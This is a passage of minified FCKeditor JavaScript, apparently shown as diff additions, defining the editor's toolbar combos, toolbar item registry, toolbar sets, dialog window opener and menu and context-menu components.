(FCKBrowserInfo.IsIE) B.Preload(0,this.offsetHeight,this);if (D.offsetHeight>E) C.style.height=E+'px';else C.style.height='';B.Show(0,this.offsetHeight,this);}};
+var FCKToolbarSpecialCombo=function(){this.SourceView=false;this.ContextSensitive=true;this._LastValue=null;};function FCKToolbarSpecialCombo_OnSelect(A,B){FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Execute(A,B);};FCKToolbarSpecialCombo.prototype.Create=function(A){this._Combo=new FCKSpecialCombo(this.GetLabel(),this.FieldWidth,this.PanelWidth,this.PanelMaxHeight,FCKBrowserInfo.IsIE?window:FCKTools.GetElementWindow(A).parent);this._Combo.Tooltip=this.Tooltip;this._Combo.Style=this.Style;this.CreateItems(this._Combo);this._Combo.Create(A);this._Combo.CommandName=this.CommandName;this._Combo.OnSelect=FCKToolbarSpecialCombo_OnSelect;};function FCKToolbarSpecialCombo_RefreshActiveItems(A,B){A.DeselectAll();A.SelectItem(B);A.SetLabelById(B);};FCKToolbarSpecialCombo.prototype.RefreshState=function(){var A;var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (B!=-1){A=1;if (this.RefreshActiveItems) this.RefreshActiveItems(this._Combo,B);else{if (this._LastValue!=B){this._LastValue=B;FCKToolbarSpecialCombo_RefreshActiveItems(this._Combo,B);}}}else A=-1;if (A==this.State) return;if (A==-1){this._Combo.DeselectAll();this._Combo.SetLabel('');};this.State=A;this._Combo.SetEnabled(A!=-1);};FCKToolbarSpecialCombo.prototype.Enable=function(){this.RefreshState();};FCKToolbarSpecialCombo.prototype.Disable=function(){this.State=-1;this._Combo.DeselectAll();this._Combo.SetLabel('');this._Combo.SetEnabled(false);};
+var FCKToolbarFontsCombo=function(A,B){this.CommandName='FontName';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontsCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontsCombo.prototype.GetLabel=function(){return FCKLang.Font;};FCKToolbarFontsCombo.prototype.CreateItems=function(A){var B=FCKConfig.FontNames.split(';');for (var i=0;i<B.length;i++) this._Combo.AddItem(B[i],'<font face="'+B[i]+'" style="font-size: 12px">'+B[i]+'</font>');}
+var FCKToolbarFontSizeCombo=function(A,B){this.CommandName='FontSize';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontSizeCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontSizeCombo.prototype.GetLabel=function(){return FCKLang.FontSize;};FCKToolbarFontSizeCombo.prototype.CreateItems=function(A){A.FieldWidth=70;var B=FCKConfig.FontSizes.split(';');for (var i=0;i<B.length;i++){var C=B[i].split('/');this._Combo.AddItem(C[0],'<font size="'+C[0]+'">'+C[1]+'</font>',C[1]);}}
+var FCKToolbarFontFormatCombo=function(A,B){this.CommandName='FontFormat';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;this.NormalLabel='Normal';this.PanelWidth=190;};FCKToolbarFontFormatCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontFormatCombo.prototype.GetLabel=function(){return FCKLang.FontFormat;};FCKToolbarFontFormatCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;var C=FCKLang['FontFormats'].split(';');var D={p:C[0],pre:C[1],address:C[2],h1:C[3],h2:C[4],h3:C[5],h4:C[6],h5:C[7],h6:C[8],div:C[9]};var E=FCKConfig.FontFormats.split(';');for (var i=0;i<E.length;i++){var F=E[i];var G=D[F];if (F=='p') this.NormalLabel=G;this._Combo.AddItem(F,'<div class="BaseFont"><'+F+'>'+G+'</'+F+'></div>',G);}};if (FCKBrowserInfo.IsIE){FCKToolbarFontFormatCombo.prototype.RefreshActiveItems=function(A,B){if (B==this.NormalLabel){if (A.Label!='&nbsp;') A.DeselectAll(true);}else{if (this._LastValue==B) return;A.SelectItemByLabel(B,true);};this._LastValue=B;}}
+var FCKToolbarStyleCombo=function(A,B){this.CommandName='Style';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarStyleCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarStyleCombo.prototype.GetLabel=function(){return FCKLang.Style;};FCKToolbarStyleCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);B.body.className+=' ForceBaseFont';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;if (!(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsGecko10)) A.OnBeforeClick=this.RefreshVisibleItems;var C=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Styles;for (var s in C){var D=C[s];var E;if (D.IsObjectElement) E=A.AddItem(s,s);else E=A.AddItem(s,D.GetOpenerTag()+s+D.GetCloserTag());E.Style=D;}};FCKToolbarStyleCombo.prototype.RefreshActiveItems=function(A){A.DeselectAll();var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetActiveStyles();if (B.length>0){for (var i=0;i<B.length;i++) A.SelectItem(B[i].Name);A.SetLabelById(B[0].Name);}else A.SetLabel('');};FCKToolbarStyleCombo.prototype.RefreshVisibleItems=function(A){if (FCKSelection.GetType()=='Control') var B=FCKSelection.GetSelectedElement().tagName;for (var i in A.Items){var C=A.Items[i];if ((B&&C.Style.Element==B)||(!B&&!C.Style.IsObjectElement)) C.style.display='';else C.style.display='none';}}
+var FCKToolbarPanelButton=function(A,B,C,D,E){this.CommandName=A;var F;if (E==null) F=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(E)=='number') F=[FCKConfig.SkinPath+'fck_strip.gif',16,E];var G=this._UIButton=new FCKToolbarButtonUI(A,B,C,F,D);G._FCKToolbarPanelButton=this;G.ShowArrow=true;G.OnClick=FCKToolbarPanelButton_OnButtonClick;};FCKToolbarPanelButton.prototype.TypeName='FCKToolbarPanelButton';FCKToolbarPanelButton.prototype.Create=function(A){A.className+='Menu';this._UIButton.Create(A);var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName)._Panel;B._FCKToolbarPanelButton=this;var C=B.Document.body.appendChild(B.Document.createElement('div'));C.style.position='absolute';C.style.top='0px';var D=this.LineImg=C.appendChild(B.Document.createElement('IMG'));D.className='TB_ConnectionLine';D.src=FCK_SPACER_PATH;B.OnHide=FCKToolbarPanelButton_OnPanelHide;};function FCKToolbarPanelButton_OnButtonClick(A){var B=this._FCKToolbarPanelButton;var e=B._UIButton.MainElement;B._UIButton.ChangeState(1);B.LineImg.style.width=(e.offsetWidth-2)+'px';FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(B.CommandName).Execute(0,e.offsetHeight-1,e);};function FCKToolbarPanelButton_OnPanelHide(){var A=this._FCKToolbarPanelButton;A._UIButton.ChangeState(0);};FCKToolbarPanelButton.prototype.RefreshState=FCKToolbarButton.prototype.RefreshState;FCKToolbarPanelButton.prototype.Enable=FCKToolbarButton.prototype.Enable;FCKToolbarPanelButton.prototype.Disable=FCKToolbarButton.prototype.Disable;
+var FCKToolbarItems={};FCKToolbarItems.LoadedItems={};FCKToolbarItems.RegisterItem=function(A,B){this.LoadedItems[A]=B;};FCKToolbarItems.GetItem=function(A){var B=FCKToolbarItems.LoadedItems[A];if (B) return B;switch (A){case 'Source':B=new FCKToolbarButton('Source',FCKLang.Source,null,2,true,true,1);break;case 'DocProps':B=new FCKToolbarButton('DocProps',FCKLang.DocProps,null,null,null,null,2);break;case 'Save':B=new FCKToolbarButton('Save',FCKLang.Save,null,null,true,null,3);break;case 'NewPage':B=new FCKToolbarButton('NewPage',FCKLang.NewPage,null,null,true,null,4);break;case 'Preview':B=new FCKToolbarButton('Preview',FCKLang.Preview,null,null,true,null,5);break;case 'Templates':B=new FCKToolbarButton('Templates',FCKLang.Templates,null,null,null,null,6);break;case 'About':B=new FCKToolbarButton('About',FCKLang.About,null,null,true,null,47);break;case 'Cut':B=new FCKToolbarButton('Cut',FCKLang.Cut,null,null,false,true,7);break;case 'Copy':B=new FCKToolbarButton('Copy',FCKLang.Copy,null,null,false,true,8);break;case 'Paste':B=new FCKToolbarButton('Paste',FCKLang.Paste,null,null,false,true,9);break;case 'PasteText':B=new FCKToolbarButton('PasteText',FCKLang.PasteText,null,null,false,true,10);break;case 'PasteWord':B=new FCKToolbarButton('PasteWord',FCKLang.PasteWord,null,null,false,true,11);break;case 'Print':B=new FCKToolbarButton('Print',FCKLang.Print,null,null,false,true,12);break;case 'SpellCheck':B=new FCKToolbarButton('SpellCheck',FCKLang.SpellCheck,null,null,null,null,13);break;case 'Undo':B=new FCKToolbarButton('Undo',FCKLang.Undo,null,null,false,true,14);break;case 'Redo':B=new FCKToolbarButton('Redo',FCKLang.Redo,null,null,false,true,15);break;case 'SelectAll':B=new FCKToolbarButton('SelectAll',FCKLang.SelectAll,null,null,null,null,18);break;case 'RemoveFormat':B=new FCKToolbarButton('RemoveFormat',FCKLang.RemoveFormat,null,null,false,true,19);break;case 'FitWindow':B=new FCKToolbarButton('FitWindow',FCKLang.FitWindow,null,null,true,true,66);break;case 'Bold':B=new FCKToolbarButton('Bold',FCKLang.Bold,null,null,false,true,20);break;case 'Italic':B=new FCKToolbarButton('Italic',FCKLang.Italic,null,null,false,true,21);break;case 'Underline':B=new FCKToolbarButton('Underline',FCKLang.Underline,null,null,false,true,22);break;case 'StrikeThrough':B=new FCKToolbarButton('StrikeThrough',FCKLang.StrikeThrough,null,null,false,true,23);break;case 'Subscript':B=new FCKToolbarButton('Subscript',FCKLang.Subscript,null,null,false,true,24);break;case 'Superscript':B=new FCKToolbarButton('Superscript',FCKLang.Superscript,null,null,false,true,25);break;case 'OrderedList':B=new FCKToolbarButton('InsertOrderedList',FCKLang.NumberedListLbl,FCKLang.NumberedList,null,false,true,26);break;case 'UnorderedList':B=new FCKToolbarButton('InsertUnorderedList',FCKLang.BulletedListLbl,FCKLang.BulletedList,null,false,true,27);break;case 'Outdent':B=new FCKToolbarButton('Outdent',FCKLang.DecreaseIndent,null,null,false,true,28);break;case 'Indent':B=new FCKToolbarButton('Indent',FCKLang.IncreaseIndent,null,null,false,true,29);break;case 'Link':B=new FCKToolbarButton('Link',FCKLang.InsertLinkLbl,FCKLang.InsertLink,null,false,true,34);break;case 'Unlink':B=new FCKToolbarButton('Unlink',FCKLang.RemoveLink,null,null,false,true,35);break;case 'Anchor':B=new FCKToolbarButton('Anchor',FCKLang.Anchor,null,null,null,null,36);break;case 'Image':B=new FCKToolbarButton('Image',FCKLang.InsertImageLbl,FCKLang.InsertImage,null,false,true,37);break;case 'Flash':B=new FCKToolbarButton('Flash',FCKLang.InsertFlashLbl,FCKLang.InsertFlash,null,false,true,38);break;case 'Table':B=new FCKToolbarButton('Table',FCKLang.InsertTableLbl,FCKLang.InsertTable,null,false,true,39);break;case 'SpecialChar':B=new FCKToolbarButton('SpecialChar',FCKLang.InsertSpecialCharLbl,FCKLang.InsertSpecialChar,null,false,true,42);break;case 'Smiley':B=new FCKToolbarButton('Smiley',FCKLang.InsertSmileyLbl,FCKLang.InsertSmiley,null,false,true,41);break;case 'PageBreak':B=new FCKToolbarButton('PageBreak',FCKLang.PageBreakLbl,FCKLang.PageBreak,null,false,true,43);break;case 'Rule':B=new FCKToolbarButton('InsertHorizontalRule',FCKLang.InsertLineLbl,FCKLang.InsertLine,null,false,true,40);break;case 'JustifyLeft':B=new FCKToolbarButton('JustifyLeft',FCKLang.LeftJustify,null,null,false,true,30);break;case 'JustifyCenter':B=new FCKToolbarButton('JustifyCenter',FCKLang.CenterJustify,null,null,false,true,31);break;case 'JustifyRight':B=new FCKToolbarButton('JustifyRight',FCKLang.RightJustify,null,null,false,true,32);break;case 'JustifyFull':B=new FCKToolbarButton('JustifyFull',FCKLang.BlockJustify,null,null,false,true,33);break;case 'Style':B=new FCKToolbarStyleCombo();break;case 'FontName':B=new FCKToolbarFontsCombo();break;case 'FontSize':B=new FCKToolbarFontSizeCombo();break;case 'FontFormat':B=new FCKToolbarFontFormatCombo();break;case 'TextColor':B=new FCKToolbarPanelButton('TextColor',FCKLang.TextColor,null,null,45);break;case 'BGColor':B=new FCKToolbarPanelButton('BGColor',FCKLang.BGColor,null,null,46);break;case 'Find':B=new FCKToolbarButton('Find',FCKLang.Find,null,null,null,null,16);break;case 'Replace':B=new FCKToolbarButton('Replace',FCKLang.Replace,null,null,null,null,17);break;case 'Form':B=new FCKToolbarButton('Form',FCKLang.Form,null,null,null,null,48);break;case 'Checkbox':B=new FCKToolbarButton('Checkbox',FCKLang.Checkbox,null,null,null,null,49);break;case 'Radio':B=new FCKToolbarButton('Radio',FCKLang.RadioButton,null,null,null,null,50);break;case 'TextField':B=new FCKToolbarButton('TextField',FCKLang.TextField,null,null,null,null,51);break;case 'Textarea':B=new FCKToolbarButton('Textarea',FCKLang.Textarea,null,null,null,null,52);break;case 'HiddenField':B=new FCKToolbarButton('HiddenField',FCKLang.HiddenField,null,null,null,null,56);break;case 'Button':B=new FCKToolbarButton('Button',FCKLang.Button,null,null,null,null,54);break;case 'Select':B=new FCKToolbarButton('Select',FCKLang.SelectionField,null,null,null,null,53);break;case 'ImageButton':B=new FCKToolbarButton('ImageButton',FCKLang.ImageButton,null,null,null,null,55);break;default:alert(FCKLang.UnknownToolbarItem.replace(/%1/g,A));return null;};FCKToolbarItems.LoadedItems[A]=B;return B;}
+var FCKToolbar=function(){this.Items=[];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbar_Cleanup);};FCKToolbar.prototype.AddItem=function(A){return this.Items[this.Items.length]=A;};FCKToolbar.prototype.AddButton=function(A,B,C,D,E,F){if (typeof(D)=='number') D=[this.DefaultIconsStrip,this.DefaultIconSize,D];var G=new FCKToolbarButtonUI(A,B,C,D,E,F);G._FCKToolbar=this;G.OnClick=FCKToolbar_OnItemClick;return this.AddItem(G);};function FCKToolbar_OnItemClick(A){var B=A._FCKToolbar;if (B.OnItemClick) B.OnItemClick(B,A);};FCKToolbar.prototype.AddSeparator=function(){this.AddItem(new FCKToolbarSeparator());};FCKToolbar.prototype.Create=function(A){if (this.MainElement){if (this.MainElement.parentNode) this.MainElement.parentNode.removeChild(this.MainElement);this.MainElement=null;};var B=FCKTools.GetElementDocument(A);var e=this.MainElement=B.createElement('table');e.className='TB_Toolbar';e.style.styleFloat=e.style.cssFloat=(FCKLang.Dir=='ltr'?'left':'right');e.dir=FCKLang.Dir;e.cellPadding=0;e.cellSpacing=0;this.RowElement=e.insertRow(-1);var C;if (!this.HideStart){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_Start';};for (var i=0;i<this.Items.length;i++){this.Items[i].Create(this.RowElement.insertCell(-1));};if (!this.HideEnd){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_End';};A.appendChild(e);};function FCKToolbar_Cleanup(){this.MainElement=null;this.RowElement=null;};var FCKToolbarSeparator=function(){};FCKToolbarSeparator.prototype.Create=function(A){FCKTools.AppendElement(A,'div').className='TB_Separator';}
+var FCKToolbarBreak=function(){};FCKToolbarBreak.prototype.Create=function(A){var B=A.ownerDocument.createElement('div');B.style.clear=B.style.cssFloat=FCKLang.Dir=='rtl'?'right':'left';A.appendChild(B);}
+function FCKToolbarSet_Create(A){var B;var C=A||FCKConfig.ToolbarLocation;switch (C){case 'In':document.getElementById('xToolbarRow').style.display='';B=new FCKToolbarSet(document);break;default:FCK.Events.AttachEvent('OnBlur',FCK_OnBlur);FCK.Events.AttachEvent('OnFocus',FCK_OnFocus);var D;var E=C.match(/^Out:(.+)\((\w+)\)$/);if (E){D=eval('parent.'+E[1]).document.getElementById(E[2]);}else{E=C.match(/^Out:(\w+)$/);if (E) D=parent.document.getElementById(E[1]);};if (!D){alert('Invalid value for "ToolbarLocation"');return this._Init('In');};B=D.__FCKToolbarSet;if (B) break;var F=FCKTools.GetElementDocument(D).createElement('iframe');F.frameBorder=0;F.width='100%';F.height='10';D.appendChild(F);F.unselectable='on';var G=F.contentWindow.document;G.open();G.write('<html><head><script type="text/javascript"> window.onload = window.onresize = function() { window.frameElement.height = document.body.scrollHeight ; } </script></head><body style="overflow: hidden">'+document.getElementById('xToolbarSpace').innerHTML+'</body></html>');G.close();G.oncontextmenu=FCKTools.CancelEvent;FCKTools.AppendStyleSheet(G,FCKConfig.SkinPath+'fck_editor.css');B=D.__FCKToolbarSet=new FCKToolbarSet(G);B._IFrame=F;if (FCK.IECleanup) FCK.IECleanup.AddItem(D,FCKToolbarSet_Target_Cleanup);};B.CurrentInstance=FCK;FCK.AttachToOnSelectionChange(B.RefreshItemsState);return B;};function FCK_OnBlur(A){var B=A.ToolbarSet;if (B.CurrentInstance==A) B.Disable();};function FCK_OnFocus(A){var B=A.ToolbarSet;var C=A||FCK;B.CurrentInstance.FocusManager.RemoveWindow(B._IFrame.contentWindow);B.CurrentInstance=C;C.FocusManager.AddWindow(B._IFrame.contentWindow,true);B.Enable();};function FCKToolbarSet_Cleanup(){this._TargetElement=null;this._IFrame=null;};function FCKToolbarSet_Target_Cleanup(){this.__FCKToolbarSet=null;};var FCKToolbarSet=function(A){this._Document=A;this._TargetElement=A.getElementById('xToolbar');var B=A.getElementById('xExpandHandle');var C=A.getElementById('xCollapseHandle');B.title=FCKLang.ToolbarExpand;B.onclick=FCKToolbarSet_Expand_OnClick;C.title=FCKLang.ToolbarCollapse;C.onclick=FCKToolbarSet_Collapse_OnClick;if (!FCKConfig.ToolbarCanCollapse||FCKConfig.ToolbarStartExpanded) this.Expand();else this.Collapse();C.style.display=FCKConfig.ToolbarCanCollapse?'':'none';if (FCKConfig.ToolbarCanCollapse) C.style.display='';else A.getElementById('xTBLeftBorder').style.display='';this.Toolbars=[];this.IsLoaded=false;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarSet_Cleanup);};function FCKToolbarSet_Expand_OnClick(){FCK.ToolbarSet.Expand();};function FCKToolbarSet_Collapse_OnClick(){FCK.ToolbarSet.Collapse();};FCKToolbarSet.prototype.Expand=function(){this._ChangeVisibility(false);};FCKToolbarSet.prototype.Collapse=function(){this._ChangeVisibility(true);};FCKToolbarSet.prototype._ChangeVisibility=function(A){this._Document.getElementById('xCollapsed').style.display=A?'':'none';this._Document.getElementById('xExpanded').style.display=A?'none':'';if (FCKBrowserInfo.IsGecko){FCKTools.RunFunction(window.onresize);}};FCKToolbarSet.prototype.Load=function(A){this.Name=A;this.Items=[];this.ItemsWysiwygOnly=[];this.ItemsContextSensitive=[];this._TargetElement.innerHTML='';var B=FCKConfig.ToolbarSets[A];if (!B){alert(FCKLang.UnknownToolbarSet.replace(/%1/g,A));return;};this.Toolbars=[];for (var x=0;x<B.length;x++){var C=B[x];var D;if (typeof(C)=='string'){if (C=='/') D=new FCKToolbarBreak();}else{D=new FCKToolbar();for (var j=0;j<C.length;j++){var E=C[j];if (E=='-') D.AddSeparator();else{var F=FCKToolbarItems.GetItem(E);if (F){D.AddItem(F);this.Items.push(F);if (!F.SourceView) this.ItemsWysiwygOnly.push(F);if (F.ContextSensitive) this.ItemsContextSensitive.push(F);}}}};D.Create(this._TargetElement);this.Toolbars[this.Toolbars.length]=D;};FCKTools.DisableSelection(this._Document.getElementById('xCollapseHandle').parentNode);if (FCK.Status!=2) FCK.Events.AttachEvent('OnStatusChange',this.RefreshModeState);else this.RefreshModeState();this.IsLoaded=true;this.IsEnabled=true;FCKTools.RunFunction(this.OnLoad);};FCKToolbarSet.prototype.Enable=function(){if (this.IsEnabled) return;this.IsEnabled=true;var A=this.Items;for (var i=0;i<A.length;i++) A[i].RefreshState();};FCKToolbarSet.prototype.Disable=function(){if (!this.IsEnabled) return;this.IsEnabled=false;var A=this.Items;for (var i=0;i<A.length;i++) A[i].Disable();};FCKToolbarSet.prototype.RefreshModeState=function(A){if (FCK.Status!=2) return;var B=A?A.ToolbarSet:this;var C=B.ItemsWysiwygOnly;if (FCK.EditMode==0){for (var i=0;i<C.length;i++) C[i].Enable();B.RefreshItemsState(A);}else{B.RefreshItemsState(A);for (var j=0;j<C.length;j++) C[j].Disable();}};FCKToolbarSet.prototype.RefreshItemsState=function(A){var B=(A?A.ToolbarSet:this).ItemsContextSensitive;for (var i=0;i<B.length;i++) B[i].RefreshState();};
+var FCKDialog={};FCKDialog.OpenDialog=function(A,B,C,D,E,F,G,H){var I={};I.Title=B;I.Page=C;I.Editor=window;I.CustomValue=F;var J=FCKConfig.BasePath+'fckdialog.html';this.Show(I,A,J,D,E,G,H);};
+FCKDialog.Show=function(A,B,C,D,E,F,G){var H=(FCKConfig.ScreenHeight-E)/2;var I=(FCKConfig.ScreenWidth-D)/2;var J="location=no,menubar=no,toolbar=no,dependent=yes,dialog=yes,minimizable=no,modal=yes,alwaysRaised=yes,resizable="+(G?'yes':'no')+",width="+D+",height="+E+",top="+H+",left="+I;if (!F) F=window;FCKFocusManager.Lock();var K=F.open('','FCKeditorDialog_'+B,J,true);if (!K){alert(FCKLang.DialogBlocked);FCKFocusManager.Unlock();return;};K.moveTo(I,H);K.resizeTo(D,E);K.focus();K.location.href=C;K.dialogArguments=A;F.FCKLastDialogInfo=A;this.Window=K;try{window.top.parent.addEventListener('mousedown',this.CheckFocus,true);window.top.parent.addEventListener('mouseup',this.CheckFocus,true);window.top.parent.addEventListener('click',this.CheckFocus,true);window.top.parent.addEventListener('focus',this.CheckFocus,true);}catch (e){}};FCKDialog.CheckFocus=function(){if (typeof(FCKDialog)!="object") return false;if (FCKDialog.Window&&!FCKDialog.Window.closed) FCKDialog.Window.focus();else{try{window.top.parent.removeEventListener('onmousedown',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('mouseup',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('click',FCKDialog.CheckFocus,true);window.top.parent.removeEventListener('onfocus',FCKDialog.CheckFocus,true);}catch (e){}};return false;};
+var FCKMenuItem=function(A,B,C,D,E){this.Name=B;this.Label=C||B;this.IsDisabled=E;this.Icon=new FCKIcon(D);this.SubMenu=new FCKMenuBlockPanel();this.SubMenu.Parent=A;this.SubMenu.OnClick=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnClick,this);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuItem_Cleanup);};FCKMenuItem.prototype.AddItem=function(A,B,C,D){this.HasSubMenu=true;return this.SubMenu.AddItem(A,B,C,D);};FCKMenuItem.prototype.AddSeparator=function(){this.SubMenu.AddSeparator();};FCKMenuItem.prototype.Create=function(A){var B=this.HasSubMenu;var C=FCKTools.GetElementDocument(A);var r=this.MainElement=A.insertRow(-1);r.className=this.IsDisabled?'MN_Item_Disabled':'MN_Item';if (!this.IsDisabled){FCKTools.AddEventListenerEx(r,'mouseover',FCKMenuItem_OnMouseOver,[this]);FCKTools.AddEventListenerEx(r,'click',FCKMenuItem_OnClick,[this]);if (!B) FCKTools.AddEventListenerEx(r,'mouseout',FCKMenuItem_OnMouseOut,[this]);};var D=r.insertCell(-1);D.className='MN_Icon';D.appendChild(this.Icon.CreateIconElement(C));D=r.insertCell(-1);D.className='MN_Label';D.noWrap=true;D.appendChild(C.createTextNode(this.Label));D=r.insertCell(-1);if (B){D.className='MN_Arrow';var E=D.appendChild(C.createElement('IMG'));E.src=FCK_IMAGES_PATH+'arrow_'+FCKLang.Dir+'.gif';E.width=4;E.height=7;this.SubMenu.Create();this.SubMenu.Panel.OnHide=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnHide,this);}};FCKMenuItem.prototype.Activate=function(){this.MainElement.className='MN_Item_Over';if (this.HasSubMenu){this.SubMenu.Show(this.MainElement.offsetWidth+2,-2,this.MainElement);};FCKTools.RunFunction(this.OnActivate,this);};FCKMenuItem.prototype.Deactivate=function(){this.MainElement.className='MN_Item';if (this.HasSubMenu) this.SubMenu.Hide();};function FCKMenuItem_SubMenu_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuItem_SubMenu_OnHide(A){A.Deactivate();};function FCKMenuItem_OnClick(A,B){if (B.HasSubMenu) B.Activate();else{B.Deactivate();FCKTools.RunFunction(B.OnClick,B,[B]);}};function FCKMenuItem_OnMouseOver(A,B){B.Activate();};function FCKMenuItem_OnMouseOut(A,B){B.Deactivate();};function FCKMenuItem_Cleanup(){this.MainElement=null;}
+var FCKMenuBlock=function(){this._Items=[];};FCKMenuBlock.prototype.Count=function(){return this._Items.length;};FCKMenuBlock.prototype.AddItem=function(A,B,C,D){var E=new FCKMenuItem(this,A,B,C,D);E.OnClick=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnClick,this);E.OnActivate=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnActivate,this);this._Items.push(E);return E;};FCKMenuBlock.prototype.AddSeparator=function(){this._Items.push(new FCKMenuSeparator());};FCKMenuBlock.prototype.RemoveAllItems=function(){this._Items=[];var A=this._ItemsTable;if (A){while (A.rows.length>0) A.deleteRow(0);}};FCKMenuBlock.prototype.Create=function(A){if (!this._ItemsTable){if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuBlock_Cleanup);this._Window=FCKTools.GetElementWindow(A);var B=FCKTools.GetElementDocument(A);var C=A.appendChild(B.createElement('table'));C.cellPadding=0;C.cellSpacing=0;FCKTools.DisableSelection(C);var D=C.insertRow(-1).insertCell(-1);D.className='MN_Menu';var E=this._ItemsTable=D.appendChild(B.createElement('table'));E.cellPadding=0;E.cellSpacing=0;};for (var i=0;i<this._Items.length;i++) this._Items[i].Create(this._ItemsTable);};function FCKMenuBlock_Item_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuBlock_Item_OnActivate(A){var B=A._ActiveItem;if (B&&B!=this){if (!FCKBrowserInfo.IsIE&&B.HasSubMenu&&!this.HasSubMenu) A._Window.focus();B.Deactivate();};A._ActiveItem=this;};function FCKMenuBlock_Cleanup(){this._Window=null;this._ItemsTable=null;};var FCKMenuSeparator=function(){};FCKMenuSeparator.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var r=A.insertRow(-1);var C=r.insertCell(-1);C.className='MN_Separator MN_Icon';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';}
+var FCKMenuBlockPanel=function(){FCKMenuBlock.call(this);};FCKMenuBlockPanel.prototype=new FCKMenuBlock();FCKMenuBlockPanel.prototype.Create=function(){var A=this.Panel=(this.Parent&&this.Parent.Panel?this.Parent.Panel.CreateChildPanel():new FCKPanel());A.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');FCKMenuBlock.prototype.Create.call(this,A.MainNode);};FCKMenuBlockPanel.prototype.Show=function(x,y,A){if (!this.Panel.CheckIsOpened()) this.Panel.Show(x,y,A);};FCKMenuBlockPanel.prototype.Hide=function(){if (this.Panel.CheckIsOpened()) this.Panel.Hide();}
+var FCKContextMenu=function(A,B){var C=this._Panel=new FCKPanel(A,true);C.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');C.IsContextMenu=true;var D=this._MenuBlock=new FCKMenuBlock();D.Panel=C;D.OnClick=FCKTools.CreateEventListener(FCKContextMenu_MenuBlock_OnClick,this);this._Redraw=true;};FCKContextMenu.prototype.SetMouseClickWindow=function(A){if (!FCKBrowserInfo.IsIE){this._Document=A.document;this._Document.addEventListener('contextmenu',FCKContextMenu_Document_OnContextMenu,false);}};FCKContextMenu.prototype.AddItem=function(A,B,C,D){var E=this._MenuBlock.AddItem(A,B,C,D);this._Redraw=true;return E;};FCKContextMenu.prototype.AddSeparator=function(){this._MenuBlock.AddSeparator();this._Redraw=true;};FCKContextMenu.prototype.RemoveAllItems=function(){this._MenuBlock.RemoveAllItems();this._Redraw=true;};FCKContextMenu.prototype.AttachToElement=function(A){if (FCKBrowserInfo.IsIE) FCKTools.AddEventListenerEx(A,'contextmenu',FCKContextMenu_AttachedElement_OnContextMenu,this);else A._FCKContextMenu=this;};function FCKContextMenu_Document_OnContextMenu(e){var A=e.target;while (A){if (A._FCKContextMenu){FCKTools.CancelEvent(e);FCKContextMenu_AttachedElement_OnContextMenu(e,A._FCKContextMenu,A);};A=A.parentNode;}};function FCKContextMenu_AttachedElement_OnContextMenu(A,B,C){var D=C||this;if (B.OnBeforeOpen) B.OnBeforeOpen.call(B,D);if (B._MenuBlock.Count()==0) return false;if (B._Redraw){B._MenuBlock.Create(B._Panel.MainNode);B._Redraw=false;};B._Panel.Show(A.pageX||A.screenX,A.pageY||A.screenY,A.currentTarget||null);return false;};function FCKContextMenu_MenuBlock_OnClick(A,B){B._Panel.Hide();FCKTools.RunFunction(B.OnItemClick,B,A);}
